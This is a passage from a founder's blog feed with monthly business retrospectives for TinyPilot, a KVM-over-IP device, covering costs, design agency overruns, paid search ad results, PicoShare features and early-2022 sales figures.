&lt;p>I have to make enough profit from sales to cover my ongoing costs with room for growth expenses. If I estimate that software will go down to $12k per month and electrical engineering will go down to $2k, my ongoing costs are around $19k per month. If raw materials are about 30% of my revenue, that means that I need to hit $27k in sales to keep the lights on ($27k in sales nets $22k after deducting the cost of materials).&lt;/p>
&lt;p>Hitting $27k/month in sales feels pretty doable, as I&amp;rsquo;ve been well above that for six months. Still, my sales are trending downward, and signs are pointing to a recession, so I&amp;rsquo;m hoping I can continue clearing the breakeven point with enough room for growth and one-time costs.&lt;/p>
&lt;h2 id="the-importance-of-low-latency-hours-reporting">The importance of low-latency hours reporting&lt;/h2>
&lt;p>My last update enumerated the &lt;a href="https://mtlynch.io/retrospectives/2022/04/#what-i-wish-i-knew-about-working-with-a-design-agency">many things I wish I&amp;rsquo;d known about working with a design agency&lt;/a>. In April, I discovered one more thing to add to the list: hours reporting is critical.&lt;/p>
&lt;p>At the end of March, the agency had a suggestion for the redesign: a new Bootstrap theme. The TinyPilot website uses the Bootstrap CSS framework. We&amp;rsquo;re still using the same free, third-party theme I got from &lt;a href="https://bootswatch.com/">Bootswatch&lt;/a> when I created the first version of the site. On top of Bootstrap and the third-party theme, we also have our own custom styles, often on a per-page or per-component basis.&lt;/p>
&lt;p>The agency pointed out that this architecture was convoluted, and we should replace the third-party theme and per-page styles with our own site-wide Bootstrap theme. They estimated that it would only be a few days of work. It sounded sensible to me. It would probably pay for itself because otherwise the rest of the redesign would be fighting with three different layers of CSS styling.&lt;/p>
&lt;p>The theme work ended up taking five weeks for a total cost of $6.1k. Here are the results in terms of what the user can see:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/before-refactoring.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/before-refactoring_hu_b9a2869903434382.png 300w, https://mtlynch.io/retrospectives/2022/05/before-refactoring_hu_1a007b31a8512d84.png 600w, https://mtlynch.io/retrospectives/2022/05/before-refactoring_hu_b5b89f63d90f1ff7.png 800w, https://mtlynch.io/retrospectives/2022/05/before-refactoring.png 1127w'
 src="https://mtlynch.io/retrospectives/2022/05/before-refactoring.png" alt="Screenshot of TinyPilot website before changes" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/after-refactoring.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/after-refactoring_hu_b905ad4ede38d99f.png 300w, https://mtlynch.io/retrospectives/2022/05/after-refactoring_hu_1a7a473298f45126.png 600w, https://mtlynch.io/retrospectives/2022/05/after-refactoring_hu_c14a2437acf67e8c.png 800w, https://mtlynch.io/retrospectives/2022/05/after-refactoring.png 1127w'
 src="https://mtlynch.io/retrospectives/2022/05/after-refactoring.png" alt="Screenshot of TinyPilot website after changes, where the font and colors are slightly different" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before (left) and after (right) $6.1k of web development&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Long-term, this refactoring is helpful, but I wouldn&amp;rsquo;t have chosen to do it right now. The redesign is already six months late and 5x over budget. I&amp;rsquo;d rather have a pretty website while we work on fixing ugly code than a dumpy-looking website with beautifully-factored code.&lt;/p>
&lt;p>So, how did I let this happen? TinyPilot&amp;rsquo;s regular devs rarely get lost in the weeds on something I didn&amp;rsquo;t want, but it keeps happening with the design agency.&lt;/p>
&lt;p>One critical difference is that TinyPilot&amp;rsquo;s developers give me low-latency insight into how they spend their time. At the end of each working session, they record their hours with a short note saying what they were working on.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 330px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/work-timing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 330px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/work-timing_hu_92feb2f08eacff5d.png 300w, https://mtlynch.io/retrospectives/2022/05/work-timing.png 328w'
 src="https://mtlynch.io/retrospectives/2022/05/work-timing.png" alt="Screenshot of TinyPilot hours reporting on Deel" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s in-house developers report their hours as they go.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If I&amp;rsquo;m expecting work from them, I check their hours. If I see that they&amp;rsquo;ve spent 14 hours on a task that I expected to take two, it means I either underestimated the difficulty or explained the task poorly. In either case, I check in with the dev, and we decide whether to continue or course-correct.&lt;/p>
&lt;p>With the design agency, there&amp;rsquo;s a much slower feedback loop. They send me an update on the 15th of the month telling me only the total number of hours they&amp;rsquo;ve worked. At the end of the month, they send me a full report of where the hours went, but by then, it&amp;rsquo;s too late.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/mid-month-report.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/mid-month-report_hu_da413707fec61b8c.png 300w, https://mtlynch.io/retrospectives/2022/05/mid-month-report.png 462w'
 src="https://mtlynch.io/retrospectives/2022/05/mid-month-report.png" alt="An email saying &amp;amp;ldquo;You&amp;#39;ve currently used 16.02 out of 40 hours for April 2022.&amp;amp;rdqo;" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/monthly-report.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/monthly-report_hu_c55d0a6c3b5bc9ba.png 300w, https://mtlynch.io/retrospectives/2022/05/monthly-report_hu_e3a821ee1184df6.png 600w, https://mtlynch.io/retrospectives/2022/05/monthly-report.png 743w'
 src="https://mtlynch.io/retrospectives/2022/05/monthly-report.png" alt="A report of hours broken down by task" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The design agency only reports hours twice per month — once at the midpoint with an opaque hours total (left) and once at the end with a more granular breakdown (right).&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The other issue with the design agency is that they commit to hours only on a monthly basis, not on a weekly basis. In February, they did no dev work for the first three weeks and then squeezed all of their work into the last ten days. This compounded the poor feedback loop since I couldn&amp;rsquo;t distinguish between a task that was taking too long and a task that they hadn&amp;rsquo;t started yet.&lt;/p>
&lt;p>If I work with a design agency in the future, I&amp;rsquo;ll insist on using a tool that lets us share a view of billable hours as they happen. The information is too valuable to delay for weeks, as it prevents me from identifying mismatches in expectations.&lt;/p>
&lt;h2 id="dipping-my-toe-in-paid-search-advertising">Dipping my toe in paid search advertising&lt;/h2>
&lt;p>I &lt;a href="https://mtlynch.io/retrospectives/2020/11/">tried running paid ads&lt;/a> early in TinyPilot&amp;rsquo;s life, but I didn&amp;rsquo;t have a good way of measuring their performance. I have a weirdo custom stack for my sales site, and it makes it hard to integrate with normal conversion tracking tools on Shopify or Google Analytics. Even when conversion tracking seemed to be working, it was only registering about 30% of sales, so either I messed something up, or 70% of my users have ad-block enabled.&lt;/p>
&lt;p>When I experimented with affiliate advertisers, I ended up accidentally solving the conversion tracking problem. When a customer visits through an affiliate link, the TinyPilot website stores the affiliate ID in the browser&amp;rsquo;s local storage. When the customer checks out, we save the affiliate ID as an attribute of the order. That way, we don&amp;rsquo;t depend on Google Analytics, and we don&amp;rsquo;t have to fight with ad-blockers.&lt;/p>
&lt;p>I realized I could use the same solution to track paid ads. I can just treat the referral information in an ad URL as if it were an affiliate ID. With this, I revisited paid advertising by running ads on Google and Bing.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 302px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/mobile-gs-copy.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 302px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/mobile-gs-copy_hu_137e2db5054b53ea.png 300w, https://mtlynch.io/retrospectives/2022/05/mobile-gs-copy.png 300w'
 src="https://mtlynch.io/retrospectives/2022/05/mobile-gs-copy.png" alt="Google ad: TinyPilot KVM over IP | Easy Remote Access | Open-Source, PoE, HTML5 TinyPilot is a simple, modern KVM over IP device with PoE. No software installation or Java plugins. Setup takes 5 minutes." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My first Google search ad.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>Google&lt;/th>
 &lt;th>Bing&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Ad spend&lt;/td>
 &lt;td>$1,715.10&lt;/td>
 &lt;td>$1,018.09&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Impressions&lt;/td>
 &lt;td>15,623&lt;/td>
 &lt;td>7,023&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Clicks&lt;/td>
 &lt;td>701&lt;/td>
 &lt;td>196&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Click through rate (CTR)&lt;/td>
 &lt;td>4.5%&lt;/td>
 &lt;td>2.8%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cost per click (CPC)&lt;/td>
 &lt;td>$2.45&lt;/td>
 &lt;td>$5.19&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from conversions&lt;/td>
 &lt;td>$4,202.88&lt;/td>
 &lt;td>$789.97&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue on ad spend (ROAS)&lt;/td>
 &lt;td>2.45&lt;/td>
 &lt;td>0.78&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Google is beating Bing on almost every metric. Bing costs twice as much per click, but it generates only a third of the revenue.&lt;/p>
&lt;p>The most important metric is revenue on ad spend (ROAS), which is 2.45 on Google. In other words, for every dollar I spend on Google ads, I&amp;rsquo;m getting $2.45 in revenue. That costs me about $0.76 in parts and labor. The return is roughly $2.45 revenue - $1 ad spend - $0.76 in parts and labor = $0.69 profit.&lt;/p>
&lt;p>In other words, spending $1 on Google ads gets me $0.69 in profit, so that&amp;rsquo;s a great deal! The revenue is a lower bound on the actual number because if a user clicks the ad on their phone and then buys from their desktop, my metrics fail to credit Google with the sale. So, it&amp;rsquo;s possible I&amp;rsquo;m making even more from these ads than the metrics show.&lt;/p>
&lt;p>I&amp;rsquo;ve done zero experimentation with ad copy or audience tuning. I suspect that if I handed the reins over to a marketing agency, they could substantially improve these returns.&lt;/p>
&lt;p>I&amp;rsquo;ve increased my Google budget to $150/day, and I&amp;rsquo;ll keep cranking it up as long as it continues to be profitable.&lt;/p>
&lt;p>I&amp;rsquo;m keeping my Bing budget to $50/day and tuning the ads a bit. Bing was showing my ads for irrelevant queries like &amp;ldquo;unifi 24 port switch&amp;rdquo; (a product that serves a completely different function) and &amp;ldquo;kvms pro&amp;rdquo; (some kind of CCTV management software).&lt;/p>
&lt;!-- wordword-ignore-word: duck -->
&lt;p>I originally intended to advertise on &lt;a href="https://duckduckgo.com">Duck Duck Go&lt;/a> because I suspect their users to be a good match for my product. Bizarrely, Duck Duck Go only sells ads indirectly through Bing, its direct competitor. To buy Ads on Duck Duck Go, you have to advertise on Bing and then enable advertising through Bing&amp;rsquo;s syndicated partners, which include AOL, Yahoo, and Duck Duck Go.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/dg-policy.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/dg-policy_hu_4de2d89cf8792715.png 300w, https://mtlynch.io/retrospectives/2022/05/dg-policy_hu_836e56ab81422d64.png 600w, https://mtlynch.io/retrospectives/2022/05/dg-policy_hu_f17e70370fa9f144.png 800w, https://mtlynch.io/retrospectives/2022/05/dg-policy.png 830w'
 src="https://mtlynch.io/retrospectives/2022/05/dg-policy.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The only way to &lt;a href="https://help.duckduckgo.com/duckduckgo-help-pages/company/advertising-and-affiliates/">advertise on Duck Duck Go&lt;/a> is to advertise on Bing, Yahoo, and AOL.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="picoshare">&lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>&lt;/h3>
&lt;p>I&amp;rsquo;m continuing to have fun working on PicoShare, a simple web app I built to make it easier to share large files.&lt;/p>
&lt;p>One feature I&amp;rsquo;m excited about is the ability to create guest upload links. Often, especially when working with partners for TinyPilot, I want a way for people to send me a file that&amp;rsquo;s too big for email, but I don&amp;rsquo;t want anyone to jump through the hoops of signing up for a cloud storage service like Google Drive or Dropbox.&lt;/p>
&lt;p>With PicoShare&amp;rsquo;s guest uploading, I can create a guest link like this:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/picoshare-create-guest-link.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/picoshare-create-guest-link_hu_9065fe8e831205db.png 300w, https://mtlynch.io/retrospectives/2022/05/picoshare-create-guest-link_hu_3d3b048c2e4564e3.png 600w, https://mtlynch.io/retrospectives/2022/05/picoshare-create-guest-link.png 696w'
 src="https://mtlynch.io/retrospectives/2022/05/picoshare-create-guest-link.png" alt="Screenshot of PicoShare&amp;#39;s screen for creating a guest link" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then, PicoShare generates a custom guest link like &lt;code>https://picoshare.tinypilotkvm.com/g/sWy2Pi5Dm8afJuxs&lt;/code>. When the guest visits that link, they can upload files to my PicoShare server without any signup:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload_hu_2676d1da2ec86dca.png 300w, https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload_hu_49317ab1e87e7e8a.png 600w, https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload_hu_7454dc0b28d9ea52.png 800w, https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload.png 1063w'
 src="https://mtlynch.io/retrospectives/2022/05/picoshare-guest-upload.png" alt="Screenshot of PicoShare&amp;#39;s screen for uploading through a guest link" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve already started using it at TinyPilot, and it&amp;rsquo;s much smoother than the tools I was using before, like Mega.nz and Dropbox.&lt;/p>
&lt;p>The other feature I added was support for private notes that you can attach to your uploads in case you want to remember details about the file:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/picoshare-note-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/picoshare-note-1_hu_f0126a9387a978d2.png 300w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-1_hu_c349649c0348cd0d.png 600w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-1_hu_eff69e5b5713d677.png 800w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-1.png 830w'
 src="https://mtlynch.io/retrospectives/2022/05/picoshare-note-1.png" alt="Screenshot of PicoShare upload page with note text field" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/05/picoshare-note-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/05/picoshare-note-2_hu_7fb30d769d791ea1.png 300w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-2_hu_7d68d5f73415aa28.png 600w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-2_hu_919128a100287f60.png 800w, https://mtlynch.io/retrospectives/2022/05/picoshare-note-2.png 1044w'
 src="https://mtlynch.io/retrospectives/2022/05/picoshare-note-2.png" alt="Screenshot of PicoShare file index page with note showing" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>PicoShare now allows you to attach private notes to your uploads.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I&amp;rsquo;ve started to see promising results from paid search advertising.&lt;/li>
&lt;li>TinyPilot Pro reached code complete for its 2.4.1 release with support for H264 video.&lt;/li>
&lt;li>TinyPilot &lt;a href="https://github.com/pikvm/ustreamer/pull/150">contributed documentation&lt;/a> to uStreamer explaining how to stream H264 video over WebRTC.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Working with a contractor or agency requires low-latency hours reporting.
&lt;ul>
&lt;li>Otherwise, it&amp;rsquo;s too easy to miss when projects are going over budget or out of scope until it&amp;rsquo;s too late.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a blog post and video about building a homelab NAS server with TinyPilot.&lt;/li>
&lt;li>Complete the TinyPilot website redesign.&lt;/li>
&lt;li>Hire a marketing agency or freelancer.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 21</title><link>https://mtlynch.io/retrospectives/2022/04/</link><pubDate>Wed, 06 Apr 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/04/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its best sales month ever, with $69k of total revenue.&lt;/li>
&lt;li>I&amp;rsquo;m now five months and $32k over budget on a website redesign.&lt;/li>
&lt;li>I launched PicoShare, and it&amp;rsquo;s the fastest-growing project I&amp;rsquo;ve ever published.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-tinypilot-pro-240">Publish TinyPilot Pro 2.4.0&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released TinyPilot 2.4.0 on schedule&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The latest release adds support for multiple users, which customers had requested for a while. We also eliminated an annoying bug that generated frequent support requests.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its best sales month ever, with $69k of total revenue.&lt;/li>
&lt;li>I&amp;rsquo;m now five months and $32k over budget on a website redesign.&lt;/li>
&lt;li>I launched PicoShare, and it&amp;rsquo;s the fastest-growing project I&amp;rsquo;ve ever published.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-tinypilot-pro-240">Publish TinyPilot Pro 2.4.0&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Released TinyPilot 2.4.0 on schedule&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The latest release adds support for multiple users, which customers had requested for a while. We also eliminated an annoying bug that generated frequent support requests.&lt;/p>
&lt;h3 id="wrap-up-design-overhaul-of-the-tinypilot-website">Wrap up design overhaul of the TinyPilot website&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The design is done, but it&amp;rsquo;s not published yet&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>This project is continuing to take longer than I expected. We&amp;rsquo;re done with the designs themselves, but the design agency hasn&amp;rsquo;t had capacity to implement the code changes on TinyPilot&amp;rsquo;s site.&lt;/p>
&lt;h3 id="complete-onboarding-for-tinypilots-new-support-engineer">Complete onboarding for TinyPilot&amp;rsquo;s new support engineer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Diego is ramped up and handling most support requests independently&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>It took a long time to find the right engineer, but I&amp;rsquo;m happy this is working out. It&amp;rsquo;s freeing up a significant amount of time for me already.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2022&lt;/th>
 &lt;th>March 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,991&lt;/td>
 &lt;td>6,212&lt;/td>
 &lt;td>&lt;font color="red">-779 (-11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>14,916&lt;/td>
 &lt;td>13,375&lt;/td>
 &lt;td>&lt;font color="red">-1,541 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$49,026.99&lt;/td>
 &lt;td>$65,171.82&lt;/td>
 &lt;td>&lt;font color="green">+$16,144.83 (+33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,552.41&lt;/td>
 &lt;td>$4,012.83&lt;/td>
 &lt;td>&lt;font color="green">+$460.42 (+13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$52,627.15&lt;/td>
 &lt;td>$69,232.40&lt;/td>
 &lt;td>&lt;font color="green">+$16,605.25 (+32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$27,039.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$3,043.34&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$30,082.96 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>March was TinyPilot&amp;rsquo;s best month ever in terms of sales and total revenue. We only sold 14% more devices than in February, but half of them were our new Voyager 2 PoE. The new model costs $60 more than our standard model, which translated to a 33% increase in revenue.&lt;/p>
&lt;p>My profit was negative, but that&amp;rsquo;s more a function of how my expenses were timed. Profit for the first quarter of 2022 is at &lt;del>a healthy $16k, averaging $5.3k per month&lt;/del> (&lt;strong>Edit (2022-04-29)&lt;/strong>: I had the numbers wrong — I actually took a $10k &lt;em>loss&lt;/em> in the first quarter of 2022).&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor_hu_a80a597246cbd82d.png 300w, https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor_hu_571dbdd172ecb81d.png 600w, https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor_hu_1f0b6eff19f1f5b5.png 800w, https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor.png 876w'
 src="https://mtlynch.io/retrospectives/2022/04/sales-per-unique-visitor.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sales Per Unique Visitor reached its highest-ever level in March 2022.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Revenue per unique visitor reached $10.49, its highest ever. To put that in context, my average revenue per visitor this time last year was about $4. This is great news, as my plan was to focus on increasing the conversion rate on my website (&amp;ldquo;bottom of funnel&amp;rdquo;) before focusing on marketing. The growth in this metric suggests my plan is working. I think improvements in the product, pricing, and website have made people more likely to purchase.&lt;/p>
&lt;h2 id="i-have-free-time-again">I have free time again!&lt;/h2>
&lt;p>In February, I brainstormed how I could manage TinyPilot &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">with 20 hours per week&lt;/a>. I&amp;rsquo;m definitely not there yet, but I&amp;rsquo;m making progress.&lt;/p>
&lt;p>One of the largest demands on my time was technical support, which took me 8 hours per week. That was the hardest responsibility to delegate because the hiring process took hundreds of hours. Even after I found a qualified engineer, training was time-consuming because I had two years of institutional knowledge trapped in my head.&lt;/p>
&lt;p>I&amp;rsquo;m happy to report that we&amp;rsquo;re now over the hump. Diego, TinyPilot&amp;rsquo;s first support engineer, is now answering all of the questions in our &lt;a href="https://forum.tinypilotkvm.com/">support forum&lt;/a>, so I&amp;rsquo;m averaging less than 8 hours a week on support. He also published his first tutorial: a guide to setting up Tailscale on TinyPilot.&lt;/p>
&lt;p>I&amp;rsquo;ve also been making an effort to let TinyPilot&amp;rsquo;s local staff take on more responsibility. For example, this week, we found out that the model of screw we use to assemble the Voyager 2 is now out of stock everywhere.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/04/mcmaster-out.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/04/mcmaster-out_hu_76802e8ccdcb205d.png 300w, https://mtlynch.io/retrospectives/2022/04/mcmaster-out_hu_ed33b59f328d26b8.png 600w, https://mtlynch.io/retrospectives/2022/04/mcmaster-out_hu_f7e5739a6bb297a.png 800w, https://mtlynch.io/retrospectives/2022/04/mcmaster-out.png 822w'
 src="https://mtlynch.io/retrospectives/2022/04/mcmaster-out.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Normally, a supply shortage would be something I&amp;rsquo;d manage directly, but it&amp;rsquo;s a good opportunity for others on my team to take on a new task.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Normally, I would work with our case designer to find a replacement and try building with the new screw, but I caught myself before emailing him. This was a good opportunity for TinyPilot&amp;rsquo;s local staff to take on more responsibility, so I asked them to take the lead.&lt;/p>
&lt;p>I noticed a significant difference in my time management throughout March. For the previous six months, I&amp;rsquo;ve ended most days feeling like I didn&amp;rsquo;t finish everything and had to postpone &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but non-urgent tasks&lt;/a>. In March, I often completed my urgent tasks by mid-afternoon and had free time to invest in marketing, automation, and delegation.&lt;/p>
&lt;p>I&amp;rsquo;m resisting the temptation to spend this newly available time on &lt;em>adding&lt;/em> things like hiring another person or finding new features for TinyPilot. I have to remind myself that those things are always more complicated than they first seem.&lt;/p>
&lt;p>I spent 2021 scrambling to manage too many growth projects, so now it&amp;rsquo;s time to optimize what we have:&lt;/p>
&lt;ul>
&lt;li>Automating our release process&lt;/li>
&lt;li>Automating our end-to-end testing&lt;/li>
&lt;li>Talking more with customers proactively instead of when they contact customer support&lt;/li>
&lt;li>Establishing escalation paths between TinyPilot&amp;rsquo;s customer service staff and support engineer&lt;/li>
&lt;li>Improving workflows with our manufacturers&lt;/li>
&lt;/ul>
&lt;h2 id="keep-reinvesting-or-start-collecting-income">Keep reinvesting or start collecting income?&lt;/h2>
&lt;p>For all of TinyPilot&amp;rsquo;s existence, I&amp;rsquo;ve ignored short-term profits and instead focused on long-term growth. I avoided running at a deficit, but I was happy to run at nearly breakeven, reinvesting all revenue into improving the product.&lt;/p>
&lt;p>I thought of reinvestment as building momentum. If my sales were $3k/month and I spent $5k to improve the product to reach $4k/month, that $5k is a one-time cost, but then TinyPilot&amp;rsquo;s sales velocity is permanently higher.&lt;/p>
&lt;p>But I&amp;rsquo;m not a venture-backed startup. My goal isn&amp;rsquo;t to grow forever and get rich from an IPO. At some point, I have to stop putting everything into growth and start collecting income. Is that time now?&lt;/p>
